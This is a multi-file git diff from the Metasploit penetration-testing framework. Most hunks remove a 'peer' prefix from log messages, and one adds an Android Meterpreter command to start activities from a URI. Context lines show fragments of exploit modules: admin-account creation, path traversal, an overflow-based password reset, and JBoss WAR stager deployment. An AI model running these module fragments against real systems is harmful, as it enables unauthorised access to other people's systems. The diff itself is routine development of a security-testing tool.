# Reset our state
|
||||
|
||||
@@ -29,7 +29,8 @@ class Console::CommandDispatcher::Android
|
||||
'device_shutdown' => 'Shutdown device',
|
||||
'send_sms' => 'Sends SMS from target session',
|
||||
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
||||
'interval_collect' => 'Manage interval collection capabilities'
|
||||
'interval_collect' => 'Manage interval collection capabilities',
|
||||
'activity_start' => 'Start an Android activity from a Uri string'
|
||||
}
|
||||
|
||||
reqs = {
|
||||
@@ -41,7 +42,8 @@ class Console::CommandDispatcher::Android
|
||||
'device_shutdown' => ['device_shutdown'],
|
||||
'send_sms' => ['send_sms'],
|
||||
'wlan_geolocate' => ['wlan_geolocate'],
|
||||
'interval_collect' => ['interval_collect']
|
||||
'interval_collect' => ['interval_collect'],
|
||||
'activity_start' => ['activity_start']
|
||||
}
|
||||
|
||||
# Ensure any requirements of the command are met
|
||||
@@ -528,6 +530,22 @@ class Console::CommandDispatcher::Android
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_activity_start(*args)
|
||||
if (args.length < 1)
|
||||
print_line("Usage: activity_start <uri>\n")
|
||||
print_line("Start an Android activity from a uri")
|
||||
return
|
||||
end
|
||||
|
||||
uri = args[0]
|
||||
result = client.android.activity_start(uri)
|
||||
if result.nil?
|
||||
print_status("Intent started")
|
||||
else
|
||||
print_error("Error: #{result}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
|
||||
@@ -53,7 +53,7 @@ class Client
|
||||
end
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error getting scm handle: #{e}")
|
||||
print_error("Error getting scm handle: #{e}")
|
||||
end
|
||||
|
||||
[scm_handle, scm_status]
|
||||
@@ -124,7 +124,7 @@ class Client
|
||||
end
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error creating service: #{e}")
|
||||
print_error("Error creating service: #{e}")
|
||||
end
|
||||
|
||||
return svc_handle, svc_status
|
||||
@@ -149,7 +149,7 @@ class Client
|
||||
response = dcerpc_client.call(CHANGE_SERVICE_CONFIG2_W, stubdata) # ChangeServiceConfig2
|
||||
svc_status = error_code(response)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error changing service description : #{e}")
|
||||
print_error("Error changing service description : #{e}")
|
||||
end
|
||||
|
||||
svc_status
|
||||
@@ -169,7 +169,7 @@ class Client
|
||||
svc_status = error_code(response[20,4])
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error closing service handle: #{e}")
|
||||
print_error("Error closing service handle: #{e}")
|
||||
end
|
||||
|
||||
svc_status
|
||||
@@ -195,7 +195,7 @@ class Client
|
||||
end
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error opening service handle: #{e}")
|
||||
print_error("Error opening service handle: #{e}")
|
||||
end
|
||||
|
||||
svc_handle
|
||||
@@ -219,7 +219,7 @@ class Client
|
||||
svc_status = error_code(response)
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error starting service: #{e}")
|
||||
print_error("Error starting service: #{e}")
|
||||
end
|
||||
|
||||
svc_status
|
||||
@@ -249,7 +249,7 @@ class Client
|
||||
svc_status = error_code(response[28,4])
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error controlling service: #{e}")
|
||||
print_error("Error controlling service: #{e}")
|
||||
end
|
||||
|
||||
svc_status
|
||||
@@ -268,7 +268,7 @@ class Client
|
||||
svc_status = error_code(response)
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error deleting service: #{e}")
|
||||
print_error("Error deleting service: #{e}")
|
||||
end
|
||||
|
||||
svc_status
|
||||
@@ -292,7 +292,7 @@ class Client
|
||||
ret = 2
|
||||
end
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error deleting service: #{e}")
|
||||
print_error("Error deleting service: #{e}")
|
||||
end
|
||||
|
||||
ret
|
||||
|
||||
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.23'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.0'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
||||
@@ -225,9 +225,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
when 'SET_TANK_NAME'
|
||||
# send the set tank name command to change the tank name(s)
|
||||
if tank_number == 0
|
||||
vprint_status("#{peer} -- setting all tank names to #{tank_name}")
|
||||
vprint_status("Setting all tank names to #{tank_name}")
|
||||
else
|
||||
vprint_status("#{peer} -- setting tank ##{tank_number}'s name to #{tank_name}")
|
||||
vprint_status("Setting tank ##{tank_number}'s name to #{tank_name}")
|
||||
end
|
||||
request = "#{action.opts[protocol_opt_name]}#{format('%02d', tank_number)}#{tank_name}\n"
|
||||
sock.put(request)
|
||||
@@ -237,7 +237,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# send an inventory probe to show that it succeeded
|
||||
inventory_probe = "#{actions.find { |a| a.name == 'INVENTORY' }.opts[protocol_opt_name]}\n"
|
||||
inventory_response = get_response(inventory_probe)
|
||||
message = "#{peer} #{protocol} #{action.opts['Description']}:\n#{inventory_response}"
|
||||
message = "#{protocol} #{action.opts['Description']}:\n#{inventory_response}"
|
||||
if inventory_response.include?(tank_name)
|
||||
print_good message
|
||||
else
|
||||
@@ -245,7 +245,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
else
|
||||
response = get_response("#{action.opts[protocol_opt_name]}\n")
|
||||
print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{response}")
|
||||
print_good("#{protocol} #{action.opts['Description']}:\n#{response}")
|
||||
end
|
||||
ensure
|
||||
disconnect
|
||||
|
||||
@@ -99,21 +99,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Trying to find the service desk service strong name...")
|
||||
print_status("Trying to find the service desk service strong name...")
|
||||
service_desk = get_service_desk_strong_name
|
||||
if service_desk.nil?
|
||||
print_error("#{peer} - service desk service not found.")
|
||||
print_error("service desk service not found.")
|
||||
return
|
||||
end
|
||||
print_good("#{peer} - service desk strong number found: #{service_desk}")
|
||||
print_good("service desk strong number found: #{service_desk}")
|
||||
|
||||
print_status("#{peer} - Trying to find the AccountService strong name...")
|
||||
print_status("Trying to find the AccountService strong name...")
|
||||
account_service = get_account_service_strong_name(service_desk)
|
||||
if account_service.nil?
|
||||
print_error("#{peer} - AccountService service not found.")
|
||||
print_error("AccountService service not found.")
|
||||
return
|
||||
end
|
||||
print_good("#{peer} - AccountService strong number found: #{account_service}")
|
||||
print_good("AccountService strong number found: #{account_service}")
|
||||
|
||||
header= "6|0|39" # version | unknown | string_table size
|
||||
|
||||
@@ -234,7 +234,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
service_url = ssl ? "https://" : "http://"
|
||||
service_url << "#{rhost}:#{rport}/servicedesk/servicedesk/"
|
||||
|
||||
print_status("#{peer} - Trying to create account #{datastore["USERNAME"]}...")
|
||||
print_status("Trying to create account #{datastore["USERNAME"]}...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri("servicedesk", "servicedesk", "accountSerivce.gwtsvc"),
|
||||
@@ -247,12 +247,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
print_error("#{peer} - Unknown error while creating the user.")
|
||||
print_error("Unknown error while creating the user.")
|
||||
return
|
||||
end
|
||||
|
||||
if res.body =~ /Username.*already exists/
|
||||
print_error("#{peer} - The user #{datastore["USERNAME"]} already exists.")
|
||||
print_error("The user #{datastore["USERNAME"]} already exists.")
|
||||
return
|
||||
elsif res.body =~ /Account.*added successfully/
|
||||
login_url = ssl ? "https://" : "http://"
|
||||
@@ -267,8 +267,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
proof: "#{login_url}\n#{res.body}"
|
||||
)
|
||||
|
||||
print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
|
||||
print_status("#{peer} - Use it to log into #{login_url}")
|
||||
print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
|
||||
print_status("Use it to log into #{login_url}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -51,11 +51,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Trying to login")
|
||||
print_status("Trying to login")
|
||||
if login
|
||||
print_good("#{peer} - Login successful")
|
||||
print_good("Login successful")
|
||||
else
|
||||
print_error("#{peer} - Login failed, review USERNAME and PASSWORD options")
|
||||
print_error("Login failed, review USERNAME and PASSWORD options")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@traversal.gsub!(/\//, "\\")
|
||||
file.gsub!(/\//, "\\")
|
||||
else # unix
|
||||
print_error("#{peer} - *nix platform detected, vulnerability is only known to work on Windows")
|
||||
print_error("*nix platform detected, vulnerability is only known to work on Windows")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def read_file(file)
|
||||
|
||||
print_status("#{peer} - Retrieving file contents...")
|
||||
print_status("Retrieving file contents...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -96,14 +96,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
|
||||
store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file)
|
||||
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
|
||||
print_good("File successfully retrieved and saved on #{store_path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to retrieve file")
|
||||
print_error("Failed to retrieve file")
|
||||
end
|
||||
end
|
||||
|
||||
def delete_file(file)
|
||||
print_status("#{peer} - Deleting file #{file}")
|
||||
print_status("Deleting file #{file}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -119,14 +119,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /View Log Files/
|
||||
print_good("#{peer} - File #{file} deleted")
|
||||
print_good("File #{file} deleted")
|
||||
else
|
||||
print_error("#{peer} - Error deleting file #{file}")
|
||||
print_error("Error deleting file #{file}")
|
||||
end
|
||||
end
|
||||
|
||||
def get_platform
|
||||
print_status("#{peer} - Retrieving platform")
|
||||
print_status("Retrieving platform")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -140,15 +140,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body =~ /Windows/
|
||||
print_good("#{peer} - Windows platform found")
|
||||
print_good("Windows platform found")
|
||||
return 'windows'
|
||||
elsif res.body =~ /Linux/
|
||||
print_good("#{peer} - Linux platform found")
|
||||
print_good("Linux platform found")
|
||||
return 'unix'
|
||||
end
|
||||
end
|
||||
|
||||
print_warning("#{peer} - Platform not found, assuming UNIX flavor")
|
||||
print_warning("Platform not found, assuming UNIX flavor")
|
||||
return 'unix'
|
||||
end
|
||||
|
||||
|
||||
@@ -77,16 +77,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
if not has_auth
|
||||
print_error("#{peer} - No basic authentication enabled")
|
||||
print_error("No basic authentication enabled")
|
||||
return
|
||||
end
|
||||
|
||||
bypass_string = try_auth
|
||||
|
||||
if bypass_string.empty?
|
||||
print_error("#{peer} - The bypass attempt did not work")
|
||||
print_error("The bypass attempt did not work")
|
||||
else
|
||||
print_good("#{peer} - You can bypass auth by doing: #{bypass_string}")
|
||||
print_good("You can bypass auth by doing: #{bypass_string}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -52,17 +52,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
|
||||
vprint_status("#{peer} - Boa Version Detected: #{m[1]}")
|
||||
vprint_status("Boa Version Detected: #{m[1]}")
|
||||
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
|
||||
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
vprint_status("#{peer} - Not a Boa Server!")
|
||||
vprint_status("Not a Boa Server!")
|
||||
return Exploit::CheckCode::Safe # not a boa server
|
||||
end
|
||||
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Connection refused by server.")
|
||||
print_error("Connection refused by server.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
@@ -80,14 +80,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - The server may be down")
|
||||
print_error("The server may be down")
|
||||
return
|
||||
elsif res and res.code != 401
|
||||
print_status("#{peer} - #{uri} does not have basic authentication enabled")
|
||||
print_status("#{uri} does not have basic authentication enabled")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Server still operational. Checking to see if password has been overwritten")
|
||||
print_status("Server still operational. Checking to see if password has been overwritten")
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method'=> 'GET',
|
||||
@@ -95,17 +95,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("#{peer} - Server timedout, will not continue")
|
||||
print_error("Server timedout, will not continue")
|
||||
return
|
||||
end
|
||||
|
||||
case res.code
|
||||
when 200
|
||||
print_good("#{peer} - Password reset successful with admin:#{datastore['PASSWORD']}")
|
||||
print_good("Password reset successful with admin:#{datastore['PASSWORD']}")
|
||||
when 401
|
||||
print_error("#{peer} - Access forbidden. The password reset attempt did not work")
|
||||
print_error("Access forbidden. The password reset attempt did not work")
|
||||
else
|
||||
print_status("#{peer} - Unexpected response: Code #{res.code} encountered")
|
||||
print_status("Unexpected response: Code #{res.code} encountered")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -49,13 +49,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
if http_verb == 'POST'
|
||||
print_status("#{peer} - Deploying payload...")
|
||||
print_status("Deploying payload...")
|
||||
opts = {
|
||||
:file => "#{app_base}.war",
|
||||
:contents => encoded_payload
|
||||
}
|
||||
else
|
||||
print_status("#{peer} - Deploying stager...")
|
||||
print_status("Deploying stager...")
|
||||
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
|
||||
stager_contents = stager_jsp(app_base)
|
||||
opts = {
|
||||
@@ -69,37 +69,37 @@ class Metasploit3 < Msf::Auxiliary
|
||||
package = deploy_bsh(bsh_payload)
|
||||
|
||||
if package.nil?
|
||||
print_error("#{peer} - Deployment failed")
|
||||
print_error("Deployment failed")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Deployment successful")
|
||||
print_good("Deployment successful")
|
||||
end
|
||||
|
||||
unless http_verb == 'POST'
|
||||
# call the stager to deploy our real payload war
|
||||
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
|
||||
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
||||
print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...")
|
||||
print_status("Calling stager #{stager_uri} to deploy final payload...")
|
||||
res = deploy('method' => 'POST',
|
||||
'data' => payload_data,
|
||||
'uri' => stager_uri)
|
||||
if res && res.code == 200
|
||||
print_good("#{peer} - Payload deployed")
|
||||
print_good("Payload deployed")
|
||||
else
|
||||
print_error("#{peer} - Failed to deploy final payload")
|
||||
print_error("Failed to deploy final payload")
|
||||
end
|
||||
|
||||
# Remove the stager
|
||||
print_status("#{peer} - Removing stager...")
|
||||
print_status("Removing stager...")
|
||||
files = {}
|
||||
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
|
||||
files[:stager_base] = "#{stager_name}.war"
|
||||
delete_script = generate_bsh(:delete, files)
|
||||
res = deploy_package(delete_script, package)
|
||||
if res.nil?
|
||||
print_error("#{peer} - Unable to remove Stager")
|
||||
print_error("Unable to remove Stager")
|
||||
else
|
||||
print_good("#{peer} - Stager successfully removed")
|
||||
print_good("Stager successfully removed")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def undeploy_action(app_base)
|
||||
# Undeploy the WAR and the stager if needed
|
||||
print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
|
||||
print_status("Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
|
||||
|
||||
files = {}
|
||||
files[:app_base] = "#{app_base}.war"
|
||||
@@ -115,9 +115,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
package = deploy_bsh(delete_script)
|
||||
if package.nil?
|
||||
print_error("#{peer} - Unable to remove WAR")
|
||||
print_error("Unable to remove WAR")
|
||||
else
|
||||
print_good("#{peer} - Successfully removed")
|
||||
print_good("Successfully removed")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -51,10 +51,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||
|
||||
if http_verb == 'POST'
|
||||
print_status("#{peer} - Deploying stager for the WAR file...")
|
||||
print_status("Deploying stager for the WAR file...")
|
||||
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||
else
|
||||
print_status("#{peer} - Deploying minimal stager to upload the payload...")
|
||||
print_status("Deploying minimal stager to upload the payload...")
|
||||
head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||
@@ -79,20 +79,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
fail_with(Failure::Unknown, "Failed to deploy")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling stager to deploy the payload warfile (might take some time)")
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||
stager_res = deploy('uri' => stager_uri,
|
||||
'method' => 'GET')
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{peer} - Payload deployed")
|
||||
print_good("Payload deployed")
|
||||
else
|
||||
print_error("#{peer} - Failed to deploy final payload")
|
||||
print_error("Failed to deploy final payload")
|
||||
end
|
||||
|
||||
# Cleaning stagers
|
||||
print_status("#{peer} - Undeploying stagers via DeploymentFileRepository.remove()...")
|
||||
print_status("#{peer} - This might take some time, be patient...") if http_verb == "HEAD"
|
||||
print_status("Undeploying stagers via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
delete_res = []
|
||||
if head_stager_jsp_name
|
||||
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||
@@ -101,28 +101,28 @@ class Metasploit3 < Msf::Auxiliary
|
||||
delete_res << delete_file('./', stager_base + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_warning("#{peer} - Unable to remove WAR [No Response]")
|
||||
print_warning("Unable to remove WAR [No Response]")
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_warning("#{peer} - WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Undeploy the WAR and the stager if needed
|
||||
def undeploy_action(app_base)
|
||||
print_status("#{peer} - Undeploying #{app_base} via DeploymentFileRepository.remove()...")
|
||||
print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
res = delete_file('./', app_base + '.war', '')
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - Unable to remove WAR (no response)")
|
||||
print_error("Unable to remove WAR (no response)")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code < 200 || res.code >= 300
|
||||
print_error("#{peer} - Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
print_error("Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
else
|
||||
print_good("#{peer} - Successfully removed")
|
||||
print_good("Successfully removed")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -53,11 +53,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
|
||||
session_val = $1
|
||||
else
|
||||
print_error("#{peer} - Failed to get sessionVal")
|
||||
print_error("Failed to get sessionVal")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
|
||||
print_status("Got sessionVal #{session_val}, creating Master Administrator account")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||
@@ -73,11 +73,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
|
||||
print_error("#{peer} - Master Administrator account creation failed")
|
||||
print_error("Master Administrator account creation failed")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
|
||||
print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
|
||||
@@ -34,20 +34,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def check_login(user)
|
||||
print_status("#{peer} - Trying to login with #{user} and empty password")
|
||||
print_status("Trying to login with #{user} and empty password")
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,"")
|
||||
})
|
||||
if res.nil? || res.code == 404
|
||||
print_status("#{peer} - No login possible with #{user} and empty password")
|
||||
print_status("No login possible with #{user} and empty password")
|
||||
return false
|
||||
elsif [200, 301, 302].include?(res.code)
|
||||
print_good("#{peer} - Successful login #{user} and empty password")
|
||||
print_good("Successful login #{user} and empty password")
|
||||
return true
|
||||
else
|
||||
print_status("#{peer} - No login possible with #{user} and empty password")
|
||||
print_status("No login possible with #{user} and empty password")
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -56,15 +56,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
begin
|
||||
if check_login("admin")
|
||||
print_good("#{peer} - login with user admin and no password possible. There is no need to use this module.")
|
||||
print_good("login with user admin and no password possible. There is no need to use this module.")
|
||||
return
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Failed to connect to the web server")
|
||||
print_error("Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Resetting password for the admin user ...")
|
||||
print_status("Resetting password for the admin user ...")
|
||||
|
||||
postdata = Rex::Text.rand_text_alpha(246) # Filler
|
||||
postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory
|
||||
@@ -94,15 +94,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
if res and res.code == 500
|
||||
if check_login("admin")
|
||||
print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password")
|
||||
print_good("Expected answer and the login was successful. Try to login with the user admin and a blank password")
|
||||
else
|
||||
print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")
|
||||
print_status("Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")
|
||||
end
|
||||
else
|
||||
print_error("#{peer} - Unexpected answer. Exploit attempt has failed")
|
||||
print_error("Unexpected answer. Exploit attempt has failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Failed to connect to the web server")
|
||||
print_error("Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
@@ -65,10 +65,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
|
||||
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
|
||||
print_error("#{peer} - Administrator account creation failed")
|
||||
print_error("Administrator account creation failed")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
|
||||
@@ -154,7 +154,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if datastore['USERNAME'] && datastore['PASSWORD']
|
||||
print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
|
||||
print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
|
||||
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
|
||||
unless cookie.nil?
|
||||
return cookie
|
||||
@@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
default_users = ['guest', 'administrator', 'admin']
|
||||
|
||||
default_users.each do |user|
|
||||
print_status("#{peer} - Trying to authenticate as #{user}...")
|
||||
print_status("Trying to authenticate as #{user}...")
|
||||
cookie = authenticate_it360(uri[0], uri[1], user, user)
|
||||
unless cookie.nil?
|
||||
return cookie
|
||||
@@ -182,14 +182,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if detect_it360
|
||||
print_status("#{peer} - Detected IT360, attempting to login...")
|
||||
print_status("Detected IT360, attempting to login...")
|
||||
cookie = login_it360
|
||||
else
|
||||
cookie = get_cookie
|
||||
end
|
||||
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Failed to get application cookies!")
|
||||
print_error("Failed to get application cookies!")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -205,7 +205,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Create request
|
||||
begin
|
||||
print_status("#{peer} - Listing directory #{datastore['DIRECTORY']}")
|
||||
print_status("Listing directory #{datastore['DIRECTORY']}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
@@ -216,7 +216,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Could not connect.")
|
||||
print_error("Could not connect.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -234,7 +234,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
print_good("File with directory listing saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to list directory.")
|
||||
print_error("Failed to list directory.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -151,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if datastore['USERNAME'] && datastore['PASSWORD']
|
||||
print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
|
||||
print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
|
||||
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
|
||||
unless cookie.nil?
|
||||
return cookie
|
||||
@@ -161,7 +161,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
default_users = ['guest', 'administrator', 'admin']
|
||||
|
||||
default_users.each do |user|
|
||||
print_status("#{peer} - Trying to authenticate as #{user}...")
|
||||
print_status("Trying to authenticate as #{user}...")
|
||||
cookie = authenticate_it360(uri[0], uri[1], user, user)
|
||||
unless cookie.nil?
|
||||
return cookie
|
||||
@@ -179,10 +179,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if detect_it360
|
||||
print_status("#{peer} - Detected IT360, attempting to login...")
|
||||
print_status("Detected IT360, attempting to login...")
|
||||
cookie = login_it360
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Failed to login to IT360!")
|
||||
print_error("Failed to login to IT360!")
|
||||
return
|
||||
end
|
||||
else
|
||||
@@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Create request
|
||||
begin
|
||||
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
|
||||
print_status("Downloading file #{datastore['FILEPATH']}")
|
||||
res = send_request_cgi({
|
||||
